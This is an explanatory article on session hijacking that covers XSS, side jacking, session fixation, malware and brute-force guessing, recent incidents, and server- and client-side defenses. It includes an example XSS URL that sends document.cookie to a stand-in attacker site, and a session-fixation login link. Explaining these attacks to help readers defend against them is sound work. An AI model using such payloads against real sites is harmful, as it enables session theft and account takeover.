What is Session Hijacking and how can you Prevent it?

What is session hijacking

A session hijacking attack is one in which an attacker takes over the user session of their victim. A user session is created every time a user logs in to an online service: banking sites, shopping sites, your webmail, etc. all create user sessions once you’ve signed in. These sessions are tracked by the server using a session cookie. If an attacker gets their hands on your session cookie, they can log into your accounts as if they were you, bypassing the need for a password. Sound scary? It is.

In this article, we’ll look at how the attack works and what can be done to protect against them.

Session cookies

Whenever you log in to an online service, the server sets a temporary cookie on your machine so that it knows that you’re logged in and authenticated. Without that session cookie, you would need to re-enter your credentials whenever you navigate to another section of the website.

A session hijacking attack can occur when an attacker has a copy of the victim’s session cookie. Once the attacker has access to the victim’s session cookie, they can log in to the service in question as if they were the user and make transactions, change the settings, etc., in the user account.

The session cookie contains a session ID that identifies your session and your status. That’s the golden nugget the attacker is after. To obtain it, the attacker must either steal it or convince their victim to click on a malicious link containing a pre-configured session ID.

In either case, once the legitimate user has successfully logged in to their account, the attacker can take over the session (that’s the hijacking part) by using the same session ID as the victim did. The server is fooled into authenticating the attacker as the legitimate user.

What can an attacker do with a hijacked session?

Because the server believes the attacker to be the legitimate user, there are no limits placed on what the attacker can do versus the original user.

Account takeovers usually start with the attacker changing the email address associated with the account to an address under their control. They would then change the password on the account, locking the legitimate user out of their own account, and then proceed to change the security questions in the account, the phone number registered in the account, etc.

This buys the attacker time, while the locked-out user is presumably on the phone with customer service, to do things like transfer funds from the user’s bank accounts, make purchases on behalf of the victim, steal sensitive personal information, etc., based on the account that was compromised. Anything the user could do, the attacker can now do as well. Ouch.

How do session hijacking attacks work?

There are many different ways to perform a session hijacking attack. The method used will depend on the server’s configuration and the attacker’s ability to compromise it. Here are the five most common types of session hijacking.

Cross-site scripting (XSS)

Cross-site scripting is the most widespread method to carry out a session hijacking attack. When a web server is vulnerable to cross-site scripting, an attacker can inject scripts (usually written in JavaScript) into web pages and trick your web browser into executing arbitrary code when the compromised page is loaded.

An attacker could craft a link containing a malicious script that points to a trusted website. When clicked, it will send a copy of the victim’s session cookie to a site controlled by the attacker. They could distribute the link through email or instant messaging. If the victim clicks the link, they just handed their session cookie to the attacker. In this context, the attack will be successful if the server does not validate and sanitize user input.

Such a link could look like this:

http://www.trustedsite.com/search?<script>location.href='http://www.evilsite.com/hijack.php?cookie='+document.cookie;</script>

Of course, were this an actual attack URL, the attacker would likely use URL shortening services and character encoding in an attempt to fly under the radar.

An XSS-based session hijacking attack would typically unfold as follows:

The attacker injects the script into the link URL.
The victim authenticates themselves on the server.
The server returns a page with the injected script to the victim.
The victim’s browser executes the malicious script and unwittingly sends their session cookies to a server controlled by the attacker.
The attacker hijacks the victim’s session using the victim’s session cookie.

Session side jacking

Another common method of pulling off a session hijacking attack is session side jacking. It relies on having access to the victim’s network, so it usually implies unsecured wi-fi networks, be they public or private.

It also requires that the website in question only uses HTTPS for the login page and not when the authenticated user navigates about the site. This is becoming less and less common.

So, with access to the victim’s network and the knowledge that the service they will log into doesn’t use HTTPS throughout the site, the attacker will either sniff/monitor the user’s traffic on public wi-fi or set up their own access point, impersonating the victim’s SSID, and mount a man-in-the-middle (MitM) attack, to intercept the victim’s traffic for private wi-fi. In either case, as the victim is authenticated and navigates around the website, the attacker can see everything going over the wire. That includes the victim’s session cookies.

Worse, if the man-in-the-middle attack is set up prior to the victim entering their credentials, and no HTTPS is used at all, the attacker gets those too. Your web browser should warn you if this is the case.

Session fixation

Session fixation is another way to get to the victim’s cookies – by “fixing” the session. This method relies on the attacker already having a known session ID for the site in question in their possession. The attacker could then send a malicious login link containing the known session ID to the victim via email, IM, etc. The link uses the genuine URL but appends the attacker’s ID to the end.

If the victim logs in to the site using the link, they will be authenticated using the attacker’s known session ID. Once that happens, the attacker can hijack the session as above.

An example link would look something like this:

<a href="http://www.trustedsite.com/login.php?sessionid=knownkey">Click here to log in</a>

The attacker could also direct the victim to a legitimate-looking fake login page that would actually log the victim into the legitimate website but using the attacker’s session ID. Again, if the victim logs in, the attacker can hijack the session.

Malware

Malware is another common way to obtain session cookies for session hijacking attacks. Once the malware is installed, it will scan the victim’s web traffic from the inside and report the victim’s session IDs back to the attacker. Or, depending on the malware in question, it could access the victim’s cookies directly from the browser’s local storage.

Brute force

Session IDs are strings of characters that are generated by the server. Suppose the server uses simple sequential patterns to generate its users’ session IDs (user0001, user0002, user0003, etc). In that case, there’s a good chance the attacker could “guess” (using software programs to cycle through thousands of possibilities quickly) the user’s session ID.

This was a big issue in the past, but today, most websites generate long and random session IDs, rendering brute force attacks impractical.

Session hijacking attack examples

In 2023, the YouTube channels of tech content creator Linus Sebastian were taken over by attackers leveraging stolen session cookies. One of Sebastian’s employees had previously opened and downloaded files via a malicious link in the guise of a sponsorship offer. The imported malware captured session cookies and allowed the attackers to replace videos on Sebastian’s YouTube channel.

Another example comes from Okta – a US identity and access management company. In later 2023, an attacker gained unauthorized access to Okta’s customer support system where they stole files containing session tokens. These were used to conduct session hijacking attacks affecting high-profile Okta customers such as notably Cloudflare, 1Password, and BeyondTrust.

In late 2022, an attacker obtained session tokens for employees of the workplace collaboration app, Slack. These were subsequently used to steal code from the company’s private online code repositories.

How can you prevent session hijacking attacks?

How to defend against session hijacking attacks depends on which side of the attack you find yourself: the user-side or the server-side. We’ll start with tips for the server-side before moving on to client-side defenses.

Server-side defenses

These are measures that site administrators can implement to mitigate session hijacking attacks.

Use HTTPS across the entire website to wrap all traffic in SSL/TLS encryption. This way, an attacker cannot intercept session IDs in plain text, even if they monitor the victim’s traffic. If possible, you should also use HSTS (HTTP Strict Transport Security) to make sure that all connections are encrypted and to prevent man in the middle (MitM) attacks.
Set the HttpOnly attribute using the Set-Cookie HTTP header to bar client-side scripts from accessing cookies. This measure will also protect your web site/application from cross-site scripting (XSS) and other JavaScript injection attacks. Adding the Secure and SameSite directives is also recommended.
Use well-established web frameworks for session ID generation and management rather than using a homegrown solution.
Use long random numbers or strings as the session ID. This will limit your vulnerability to brute force attacks.
Regenerate the session ID after the user has been authenticated. This will close the door on session fixation attacks because the session ID changes before the attacker has a chance to use it. Also, consider changing the session ID with every user request. This would significantly reduce the amount of time an attacker would have to exploit a compromised session ID.
Don’t rely solely on the session ID for user authentication. Validate the identity of your users by other means as well. This could be the user’s usual IP address or their application usage patterns.
Set a user inactivity timeout to close active sessions after a certain amount of idle time.

Client-side defenses

The client-side defenses are simply common-sense measures that any internet user should follow.

Use a firewall – All major operating systems have a built-in incoming firewall, and all commercial routers on the market have a built-in NAT firewall. Make sure to enable them.
Never click on pop-ups.
If your browser displays a warning about a website you are trying to access, you should pay attention and get the information you need elsewhere.
Disable JavaScript in your web browser, either natively or using a browser extension, such as NoScript.
Only open email attachments if you trust the sender and you’re sure that you can verify their identity – viruses do come in the mail, and that’s why it’s always a good idea to scan all your incoming mail with an antivirus program.
Keep your programs up to date. Malware and viruses typically try and exploit security flaws found in outdated software.
Make sure to log out of websites when you’re done.
If you receive an email asking for information while claiming to be from an official organization with which you have a relationship, read it very carefully before doing anything. Does it have spelling and grammar mistakes? Does it have an air of urgency? These are classic signs of a phishing attempt. And remember that your bank or the government will never ask you to send them sensitive information by email.
Don’t click links (URLs) in emails unless you know exactly who sent the URL and where it links to. And even then, scrutinize the link. Is it an HTTP or an HTTPS link? Most legitimate sites use HTTPS today. Does the link contain spelling errors (gooogle instead of google)? If you can get to the destination without using the link, do that instead.

What else can I do to protect my privacy and security?

See our list of recommended privacy and security tools;

See also:

What is session hijacking and how can you prevent it?